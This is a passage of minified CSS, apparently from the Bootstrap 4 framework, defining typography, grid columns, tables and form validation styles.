,.h2,.h3,.h4,.h5,.h6,h1,h2,h3,h4,h5,h6{margin-bottom:.5rem;font-family:inherit;font-weight:500;line-height:1.2;color:inherit}.h1,h1{font-size:2.5rem}.h2,h2{font-size:2rem}.h3,h3{font-size:1.75rem}.h4,h4{font-size:1.5rem}.h5,h5{font-size:1.25rem}.h6,h6{font-size:1rem}.lead{font-size:1.25rem;font-weight:300}.display-1{font-size:6rem;font-weight:300;line-height:1.2}.display-2{font-size:5.5rem;font-weight:300;line-height:1.2}.display-3{font-size:4.5rem;font-weight:300;line-height:1.2}.display-4{font-size:3.5rem;font-weight:300;line-height:1.2}hr{margin-top:1rem;margin-bottom:1rem;border:0;border-top:1px solid rgba(0,0,0,.1)}.small,small{font-size:80%;font-weight:400}.mark,mark{padding:.2em;background-color:#fcf8e3}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;list-style:none}.list-inline-item{display:inline-block}.list-inline-item:not(:last-child){margin-right:.5rem}.initialism{font-size:90%;text-transform:uppercase}.blockquote{margin-bottom:1rem;font-size:1.25rem}.blockquote-footer{display:block;font-size:80%;color:#6c757d}.blockquote-footer::before{content:"\2014 \00A0"}.img-fluid{max-width:100%;height:auto}.img-thumbnail{padding:.25rem;background-color:#fff;border:1px solid #dee2e6;border-radius:.25rem;max-width:100%;height:auto}.figure{display:inline-block}.figure-img{margin-bottom:.5rem;line-height:1}.figure-caption{font-size:90%;color:#6c757d}code,kbd,pre,samp{font-family:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace}code{font-size:87.5%;color:#e83e8c;word-break:break-word}a>code{color:inherit}kbd{padding:.2rem .4rem;font-size:87.5%;color:#fff;background-color:#212529;border-radius:.2rem}kbd kbd{padding:0;font-size:100%;font-weight:700}pre{display:block;font-size:87.5%;color:#212529}pre code{font-size:inherit;color:inherit;word-break:normal}.pre-scrollable{max-height:340px;overflow-y:scroll}.container{width:100%;padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media (min-width:576px){.container{max-width:540px}}@media (min-width:768px){.container{max-width:720px}}@media (min-width:992px){.container{max-width:960px}}@media (min-width:1200px){.container{max-width:1140px}}.container-fluid{width:100%;padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}.row{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-15px;margin-left:-15px}.no-gutters{margin-right:0;margin-left:0}.no-gutters>.col,.no-gutters>[class*=col-]{padding-right:0;padding-left:0}.col,.col-1,.col-10,.col-11,.col-12,.col-2,.col-3,.col-4,.col-5,.col-6,.col-7,.col-8,.col-9,.col-auto,.col-lg,.col-lg-1,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-auto,.col-md,.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-auto,.col-sm,.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-auto,.col-xl,.col-xl-1,.col-xl-10,.col-xl-11,.col-xl-12,.col-xl-2,.col-xl-3,.col-xl-4,.col-xl-5,.col-xl-6,.col-xl-7,.col-xl-8,.col-xl-9,.col-xl-auto{position:relative;width:100%;min-height:1px;padding-right:15px;padding-left:15px}.col{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-first{-ms-flex-order:-1;order:-1}.order-last{-ms-flex-order:13;order:13}.order-0{-ms-flex-order:0;order:0}.order-1{-ms-flex-order:1;order:1}.order-2{-ms-flex-order:2;order:2}.order-3{-ms-flex-order:3;order:3}.order-4{-ms-flex-order:4;order:4}.order-5{-ms-flex-order:5;order:5}.order-6{-ms-flex-order:6;order:6}.order-7{-ms-flex-order:7;order:7}.order-8{-ms-flex-order:8;order:8}.order-9{-ms-flex-order:9;order:9}.order-10{-ms-flex-order:10;order:10}.order-11{-ms-flex-order:11;order:11}.order-12{-ms-flex-order:12;order:12}.offset-1{margin-left:8.333333%}.offset-2{margin-left:16.666667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.333333%}.offset-5{margin-left:41.666667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.333333%}.offset-8{margin-left:66.666667%}.offset-9{margin-left:75%}.offset-10{margin-left:83.333333%}.offset-11{margin-left:91.666667%}@media (min-width:576px){.col-sm{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-sm-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-sm-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-sm-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-sm-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-sm-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-sm-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-sm-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-sm-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-sm-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-sm-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-sm-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-sm-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-sm-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-sm-first{-ms-flex-order:-1;order:-1}.order-sm-last{-ms-flex-order:13;order:13}.order-sm-0{-ms-flex-order:0;order:0}.order-sm-1{-ms-flex-order:1;order:1}.order-sm-2{-ms-flex-order:2;order:2}.order-sm-3{-ms-flex-order:3;order:3}.order-sm-4{-ms-flex-order:4;order:4}.order-sm-5{-ms-flex-order:5;order:5}.order-sm-6{-ms-flex-order:6;order:6}.order-sm-7{-ms-flex-order:7;order:7}.order-sm-8{-ms-flex-order:8;order:8}.order-sm-9{-ms-flex-order:9;order:9}.order-sm-10{-ms-flex-order:10;order:10}.order-sm-11{-ms-flex-order:11;order:11}.order-sm-12{-ms-flex-order:12;order:12}.offset-sm-0{margin-left:0}.offset-sm-1{margin-left:8.333333%}.offset-sm-2{margin-left:16.666667%}.offset-sm-3{margin-left:25%}.offset-sm-4{margin-left:33.333333%}.offset-sm-5{margin-left:41.666667%}.offset-sm-6{margin-left:50%}.offset-sm-7{margin-left:58.333333%}.offset-sm-8{margin-left:66.666667%}.offset-sm-9{margin-left:75%}.offset-sm-10{margin-left:83.333333%}.offset-sm-11{margin-left:91.666667%}}@media (min-width:768px){.col-md{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-md-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-md-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-md-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-md-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-md-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-md-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-md-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-md-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-md-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-md-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-md-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-md-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-md-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-md-first{-ms-flex-order:-1;order:-1}.order-md-last{-ms-flex-order:13;order:13}.order-md-0{-ms-flex-order:0;order:0}.order-md-1{-ms-flex-order:1;order:1}.order-md-2{-ms-flex-order:2;order:2}.order-md-3{-ms-flex-order:3;order:3}.order-md-4{-ms-flex-order:4;order:4}.order-md-5{-ms-flex-order:5;order:5}.order-md-6{-ms-flex-order:6;order:6}.order-md-7{-ms-flex-order:7;order:7}.order-md-8{-ms-flex-order:8;order:8}.order-md-9{-ms-flex-order:9;order:9}.order-md-10{-ms-flex-order:10;order:10}.order-md-11{-ms-flex-order:11;order:11}.order-md-12{-ms-flex-order:12;order:12}.offset-md-0{margin-left:0}.offset-md-1{margin-left:8.333333%}.offset-md-2{margin-left:16.666667%}.offset-md-3{margin-left:25%}.offset-md-4{margin-left:33.333333%}.offset-md-5{margin-left:41.666667%}.offset-md-6{margin-left:50%}.offset-md-7{margin-left:58.333333%}.offset-md-8{margin-left:66.666667%}.offset-md-9{margin-left:75%}.offset-md-10{margin-left:83.333333%}.offset-md-11{margin-left:91.666667%}}@media (min-width:992px){.col-lg{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-lg-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-lg-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-lg-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-lg-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-lg-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-lg-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-lg-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-lg-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-lg-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-lg-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-lg-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-lg-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-lg-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-lg-first{-ms-flex-order:-1;order:-1}.order-lg-last{-ms-flex-order:13;order:13}.order-lg-0{-ms-flex-order:0;order:0}.order-lg-1{-ms-flex-order:1;order:1}.order-lg-2{-ms-flex-order:2;order:2}.order-lg-3{-ms-flex-order:3;order:3}.order-lg-4{-ms-flex-order:4;order:4}.order-lg-5{-ms-flex-order:5;order:5}.order-lg-6{-ms-flex-order:6;order:6}.order-lg-7{-ms-flex-order:7;order:7}.order-lg-8{-ms-flex-order:8;order:8}.order-lg-9{-ms-flex-order:9;order:9}.order-lg-10{-ms-flex-order:10;order:10}.order-lg-11{-ms-flex-order:11;order:11}.order-lg-12{-ms-flex-order:12;order:12}.offset-lg-0{margin-left:0}.offset-lg-1{margin-left:8.333333%}.offset-lg-2{margin-left:16.666667%}.offset-lg-3{margin-left:25%}.offset-lg-4{margin-left:33.333333%}.offset-lg-5{margin-left:41.666667%}.offset-lg-6{margin-left:50%}.offset-lg-7{margin-left:58.333333%}.offset-lg-8{margin-left:66.666667%}.offset-lg-9{margin-left:75%}.offset-lg-10{margin-left:83.333333%}.offset-lg-11{margin-left:91.666667%}}@media (min-width:1200px){.col-xl{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-xl-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-xl-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-xl-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-xl-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-xl-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-xl-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-xl-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-xl-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-xl-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-xl-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-xl-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-xl-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-xl-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-xl-first{-ms-flex-order:-1;order:-1}.order-xl-last{-ms-flex-order:13;order:13}.order-xl-0{-ms-flex-order:0;order:0}.order-xl-1{-ms-flex-order:1;order:1}.order-xl-2{-ms-flex-order:2;order:2}.order-xl-3{-ms-flex-order:3;order:3}.order-xl-4{-ms-flex-order:4;order:4}.order-xl-5{-ms-flex-order:5;order:5}.order-xl-6{-ms-flex-order:6;order:6}.order-xl-7{-ms-flex-order:7;order:7}.order-xl-8{-ms-flex-order:8;order:8}.order-xl-9{-ms-flex-order:9;order:9}.order-xl-10{-ms-flex-order:10;order:10}.order-xl-11{-ms-flex-order:11;order:11}.order-xl-12{-ms-flex-order:12;order:12}.offset-xl-0{margin-left:0}.offset-xl-1{margin-left:8.333333%}.offset-xl-2{margin-left:16.666667%}.offset-xl-3{margin-left:25%}.offset-xl-4{margin-left:33.333333%}.offset-xl-5{margin-left:41.666667%}.offset-xl-6{margin-left:50%}.offset-xl-7{margin-left:58.333333%}.offset-xl-8{margin-left:66.666667%}.offset-xl-9{margin-left:75%}.offset-xl-10{margin-left:83.333333%}.offset-xl-11{margin-left:91.666667%}}.table{width:100%;max-width:100%;margin-bottom:1rem;background-color:transparent}.table td,.table th{padding:.75rem;vertical-align:top;border-top:1px solid #dee2e6}.table thead th{vertical-align:bottom;border-bottom:2px solid #dee2e6}.table tbody+tbody{border-top:2px solid #dee2e6}.table .table{background-color:#fff}.table-sm td,.table-sm th{padding:.3rem}.table-bordered{border:1px solid #dee2e6}.table-bordered td,.table-bordered th{border:1px solid #dee2e6}.table-bordered thead td,.table-bordered thead th{border-bottom-width:2px}.table-borderless tbody+tbody,.table-borderless td,.table-borderless th,.table-borderless thead th{border:0}.table-striped tbody tr:nth-of-type(odd){background-color:rgba(0,0,0,.05)}.table-hover tbody tr:hover{background-color:rgba(0,0,0,.075)}.table-primary,.table-primary>td,.table-primary>th{background-color:#b8daff}.table-hover .table-primary:hover{background-color:#9fcdff}.table-hover .table-primary:hover>td,.table-hover .table-primary:hover>th{background-color:#9fcdff}.table-secondary,.table-secondary>td,.table-secondary>th{background-color:#d6d8db}.table-hover .table-secondary:hover{background-color:#c8cbcf}.table-hover .table-secondary:hover>td,.table-hover .table-secondary:hover>th{background-color:#c8cbcf}.table-success,.table-success>td,.table-success>th{background-color:#c3e6cb}.table-hover .table-success:hover{background-color:#b1dfbb}.table-hover .table-success:hover>td,.table-hover .table-success:hover>th{background-color:#b1dfbb}.table-info,.table-info>td,.table-info>th{background-color:#bee5eb}.table-hover .table-info:hover{background-color:#abdde5}.table-hover .table-info:hover>td,.table-hover .table-info:hover>th{background-color:#abdde5}.table-warning,.table-warning>td,.table-warning>th{background-color:#ffeeba}.table-hover .table-warning:hover{background-color:#ffe8a1}.table-hover .table-warning:hover>td,.table-hover .table-warning:hover>th{background-color:#ffe8a1}.table-danger,.table-danger>td,.table-danger>th{background-color:#f5c6cb}.table-hover .table-danger:hover{background-color:#f1b0b7}.table-hover .table-danger:hover>td,.table-hover .table-danger:hover>th{background-color:#f1b0b7}.table-light,.table-light>td,.table-light>th{background-color:#fdfdfe}.table-hover .table-light:hover{background-color:#ececf6}.table-hover .table-light:hover>td,.table-hover .table-light:hover>th{background-color:#ececf6}.table-dark,.table-dark>td,.table-dark>th{background-color:#c6c8ca}.table-hover .table-dark:hover{background-color:#b9bbbe}.table-hover .table-dark:hover>td,.table-hover .table-dark:hover>th{background-color:#b9bbbe}.table-active,.table-active>td,.table-active>th{background-color:rgba(0,0,0,.075)}.table-hover .table-active:hover{background-color:rgba(0,0,0,.075)}.table-hover .table-active:hover>td,.table-hover .table-active:hover>th{background-color:rgba(0,0,0,.075)}.table .thead-dark th{color:#fff;background-color:#212529;border-color:#32383e}.table .thead-light th{color:#495057;background-color:#e9ecef;border-color:#dee2e6}.table-dark{color:#fff;background-color:#212529}.table-dark td,.table-dark th,.table-dark thead th{border-color:#32383e}.table-dark.table-bordered{border:0}.table-dark.table-striped tbody tr:nth-of-type(odd){background-color:rgba(255,255,255,.05)}.table-dark.table-hover tbody tr:hover{background-color:rgba(255,255,255,.075)}@media (max-width:575.98px){.table-responsive-sm{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive-sm>.table-bordered{border:0}}@media (max-width:767.98px){.table-responsive-md{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive-md>.table-bordered{border:0}}@media (max-width:991.98px){.table-responsive-lg{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive-lg>.table-bordered{border:0}}@media (max-width:1199.98px){.table-responsive-xl{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive-xl>.table-bordered{border:0}}.table-responsive{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive>.table-bordered{border:0}.form-control{display:block;width:100%;padding:.375rem .75rem;font-size:1rem;line-height:1.5;color:#495057;background-color:#fff;background-clip:padding-box;border:1px solid #ced4da;border-radius:.25rem;transition:border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media screen and (prefers-reduced-motion:reduce){.form-control{transition:none}}.form-control::-ms-expand{background-color:transparent;border:0}.form-control:focus{color:#495057;background-color:#fff;border-color:#80bdff;outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.form-control::-webkit-input-placeholder{color:#6c757d;opacity:1}.form-control::-moz-placeholder{color:#6c757d;opacity:1}.form-control:-ms-input-placeholder{color:#6c757d;opacity:1}.form-control::-ms-input-placeholder{color:#6c757d;opacity:1}.form-control::placeholder{color:#6c757d;opacity:1}.form-control:disabled,.form-control[readonly]{background-color:#e9ecef;opacity:1}select.form-control:not([size]):not([multiple]){height:calc(2.25rem + 2px)}select.form-control:focus::-ms-value{color:#495057;background-color:#fff}.form-control-file,.form-control-range{display:block;width:100%}.col-form-label{padding-top:calc(.375rem + 1px);padding-bottom:calc(.375rem + 1px);margin-bottom:0;font-size:inherit;line-height:1.5}.col-form-label-lg{padding-top:calc(.5rem + 1px);padding-bottom:calc(.5rem + 1px);font-size:1.25rem;line-height:1.5}.col-form-label-sm{padding-top:calc(.25rem + 1px);padding-bottom:calc(.25rem + 1px);font-size:.875rem;line-height:1.5}.form-control-plaintext{display:block;width:100%;padding-top:.375rem;padding-bottom:.375rem;margin-bottom:0;line-height:1.5;color:#212529;background-color:transparent;border:solid transparent;border-width:1px 0}.form-control-plaintext.form-control-lg,.form-control-plaintext.form-control-sm,.input-group-lg>.form-control-plaintext.form-control,.input-group-lg>.input-group-append>.form-control-plaintext.btn,.input-group-lg>.input-group-append>.form-control-plaintext.input-group-text,.input-group-lg>.input-group-prepend>.form-control-plaintext.btn,.input-group-lg>.input-group-prepend>.form-control-plaintext.input-group-text,.input-group-sm>.form-control-plaintext.form-control,.input-group-sm>.input-group-append>.form-control-plaintext.btn,.input-group-sm>.input-group-append>.form-control-plaintext.input-group-text,.input-group-sm>.input-group-prepend>.form-control-plaintext.btn,.input-group-sm>.input-group-prepend>.form-control-plaintext.input-group-text{padding-right:0;padding-left:0}.form-control-sm,.input-group-sm>.form-control,.input-group-sm>.input-group-append>.btn,.input-group-sm>.input-group-append>.input-group-text,.input-group-sm>.input-group-prepend>.btn,.input-group-sm>.input-group-prepend>.input-group-text{padding:.25rem .5rem;font-size:.875rem;line-height:1.5;border-radius:.2rem}.input-group-sm>.input-group-append>select.btn:not([size]):not([multiple]),.input-group-sm>.input-group-append>select.input-group-text:not([size]):not([multiple]),.input-group-sm>.input-group-prepend>select.btn:not([size]):not([multiple]),.input-group-sm>.input-group-prepend>select.input-group-text:not([size]):not([multiple]),.input-group-sm>select.form-control:not([size]):not([multiple]),select.form-control-sm:not([size]):not([multiple]){height:calc(1.8125rem + 2px)}.form-control-lg,.input-group-lg>.form-control,.input-group-lg>.input-group-append>.btn,.input-group-lg>.input-group-append>.input-group-text,.input-group-lg>.input-group-prepend>.btn,.input-group-lg>.input-group-prepend>.input-group-text{padding:.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:.3rem}.input-group-lg>.input-group-append>select.btn:not([size]):not([multiple]),.input-group-lg>.input-group-append>select.input-group-text:not([size]):not([multiple]),.input-group-lg>.input-group-prepend>select.btn:not([size]):not([multiple]),.input-group-lg>.input-group-prepend>select.input-group-text:not([size]):not([multiple]),.input-group-lg>select.form-control:not([size]):not([multiple]),select.form-control-lg:not([size]):not([multiple]){height:calc(2.875rem + 2px)}.form-group{margin-bottom:1rem}.form-text{display:block;margin-top:.25rem}.form-row{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-5px;margin-left:-5px}.form-row>.col,.form-row>[class*=col-]{padding-right:5px;padding-left:5px}.form-check{position:relative;display:block;padding-left:1.25rem}.form-check-input{position:absolute;margin-top:.3rem;margin-left:-1.25rem}.form-check-input:disabled~.form-check-label{color:#6c757d}.form-check-label{margin-bottom:0}.form-check-inline{display:-ms-inline-flexbox;display:inline-flex;-ms-flex-align:center;align-items:center;padding-left:0;margin-right:.75rem}.form-check-inline .form-check-input{position:static;margin-top:0;margin-right:.3125rem;margin-left:0}.valid-feedback{display:none;width:100%;margin-top:.25rem;font-size:80%;color:#28a745}.valid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.5rem;margin-top:.1rem;font-size:.875rem;line-height:1;color:#fff;background-color:rgba(40,167,69,.8);border-radius:.2rem}.custom-select.is-valid,.form-control.is-valid,.was-validated .custom-select:valid,.was-validated .form-control:valid{border-color:#28a745}.custom-select.is-valid:focus,.form-control.is-valid:focus,.was-validated .custom-select:valid:focus,.was-validated .form-control:valid:focus{border-color:#28a745;box-shadow:0 0 0 .2rem rgba(40,167,69,.25)}.custom-select.is-valid~.valid-feedback,.custom-select.is-valid~.valid-tooltip,.form-control.is-valid~.valid-feedback,.form-control.is-valid~.valid-tooltip,.was-validated .custom-select:valid~.valid-feedback,.was-validated .custom-select:valid~.valid-tooltip,.was-validated .form-control:valid~.valid-feedback,.was-validated .form-control:valid~.valid-tooltip{display:block}.form-check-input.is-valid~.form-check-label,.was-validated .form-check-input:valid~.form-check-label{color:#28a745}.form-check-input.is-valid~.valid-feedback,.form-check-input.is-valid~.valid-tooltip,.was-validated .form-check-input:valid~.valid-feedback,.was-validated .form-check-input:valid~.valid-tooltip{display:block}.custom-control-input.is-valid~.custom-control-label,.was-validated .custom-control-input:valid~.custom-control-label{color:#28a745}.custom-control-input.is-valid~.custom-control-label::before,.was-validated .custom-control-input:valid~.custom-control-label::before{background-color:#71dd8a}.custom-control-input.is-valid~.valid-feedback,.custom-control-input.is-valid~.valid-tooltip,.was-validated .custom-control-input:valid~.valid-feedback,.was-validated .custom-control-input:valid~.valid-tooltip{display:block}.custom-control-input.is-valid:checked~.custom-control-label::before,.was-validated .custom-control-input:valid:checked~.custom-control-label::before{background-color:#34ce57}.custom-control-input.is-valid:focus~.custom-control-label::before,.was-validated .custom-control-input:valid:focus~.custom-control-label::before{box-shadow:0 0 0 1px #fff,0 0 0 .2rem rgba(40,167,69,.25)}.custom-file-input.is-valid~.custom-file-label,.was-validated .custom-file-input:valid~.custom-file-label{border-color:#28a745}.custom-file-input.is-valid~.custom-file-label::before,.was-validated .custom-file-input:valid~.custom-file-label::before{border-color:inherit}.custom-file-input.is-valid~.valid-feedback,.custom-file-input.is-valid~.valid-tooltip,.was-validated .custom-file-input:valid~.valid-feedback,.was-validated .custom-file-input:valid~.valid-tooltip{display:block}.custom-file-input.is-valid:focus~.custom-file-label,.was-validated .custom-file-input:valid:focus~.custom-file-label{box-shadow:0 0 0 .2rem rgba(40,167,69,.25)}.invalid-feedback{display:none;width:100%;margin-top:.25rem;font-size:80%;color:#dc3545}.invalid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.5rem;margin-top:.1rem;font-size:.875rem;line-height:1;color:#fff;background-color:rgba(220,53,69,.8);border-radius:.2rem}.custom-select.is-invalid,.form-control.is-invalid,.was-validated .custom-select:invalid,.was-validated .form-control:invalid{border-color:#dc3545}.custom-select.is-invalid:focus,.form-control.is-invalid:focus,.was-validated .custom-select:invalid:focus,.was-validated .form-control:invalid:focus{border-color:#dc3545;box-shadow:0 0 0 .2rem rgba(220,53,69,.25)}.custom-select.is-invalid~.invalid-feedback,.custom-select.is-invalid~.invalid-tooltip,.form-control.is-invalid~.invalid-feedback,.form-control.is-invalid~.invalid-tooltip,.was-validated .custom-select:invalid~.invalid-feedback,.was-validated .custom-select:invalid~.invalid-tooltip,.was-validated .form-control:invalid~.invalid-feedback,.was-validated .form-control:invalid~.invalid-tooltip{display:block}.form-check-input.is-invalid~.form-check-label,.was-validated .form-check-input:invalid~.form-check-label{color:#dc3545}.form-check-input.is-invalid~.invalid-feedback,.form-check-input.is-invalid~.invalid-tooltip,.was-validated .form-check-input:invalid~.invalid-feedback,.was-validated .form-check-input:invalid~.invalid-tooltip{display:block}.custom-control-input.is-invalid~.custom-control-label,.was-validated .custom-control-input:invalid~.custom-control-label{color:#dc3545}.custom-control-input.is-invalid~.custom-control-label::before,.was-validated .custom-control-input:invalid~.custom-control-label::before{background-color:#efa2a9}.custom-control-input.is-invalid~.invalid-feedback,.custom-control-input.is-invalid~.invalid-tooltip,.was-validated .custom-control-input:invalid~.invalid-feedback,.was-validated .custom-control-input:invalid~.invalid-tooltip{display:block}.custom-control-input.is-invalid:checked~.custom-control-label::before,.was-validated .custom-control-input:invalid:checked~.custom-control-label::before{background-color:#e4606d}.custom-control-input.is-invalid:focus~.custom-control-label::before,.was-validated .custom-control-input:invalid:focus~.custom-control-label::before{box-shadow:0 0 0 1px #fff,0 0 0 .2rem rgba(220,53,69,.25)}.custom-file-input.is-invalid~.custom-file-label,.was-validated .custom-file-input:invalid~.custom-file-label{border-color:#dc3545}.custom-file-input.is-invalid~.custom-file-label::before,.was-validated .custom-file-input:invalid~.custom-file-label::before{border-color:inherit}.custom-file-input.is-invalid~.invalid-feedback,.custom-file-input.is-invalid~.invalid-tooltip,.was-validated .custom-file-input:invalid~.invalid-feedback,.was-validated .custom-file-input:invalid~.invalid-tooltip{display:block}.custom-file-input.is-invalid:focus~.custom-file-label,.was-validated .custom-file-input:invalid:focus~.custom-file-label{box-shadow:0 0 0 .2rem rgba(220,53,69,.25)}.form-inline{display:-ms-flexbox;display:flex;-ms-flex-flow:row wrap;flex-flow:row wrap;-ms-flex-align:center;align-items:center}.form-inline .form-check{width:100%}@media (min-width:576px){.form-inline label{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center;margin-bottom:0}.form-inline .form-group{display:-ms-flexbox;display:flex;-ms-flex:0 0 auto;flex:0 0 auto;-ms-flex-flow:row wrap;flex-flow:row wrap;-ms-flex-align:center;align-items:center;margin-bottom:0}.form-inline .form-control{display:inline-block;width:auto;vertical-align:middle}.form-inline .form-control-plaintext{display:inline-block}.form-inline .custom-select,.form-inline .input-group{width:auto}.form-inline .form-check{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center;width:auto;padding-left:0}.form-inline .form-check-input{position:relative;margin-top:0;margin-right:.25rem;margin-left:0}.form-inline 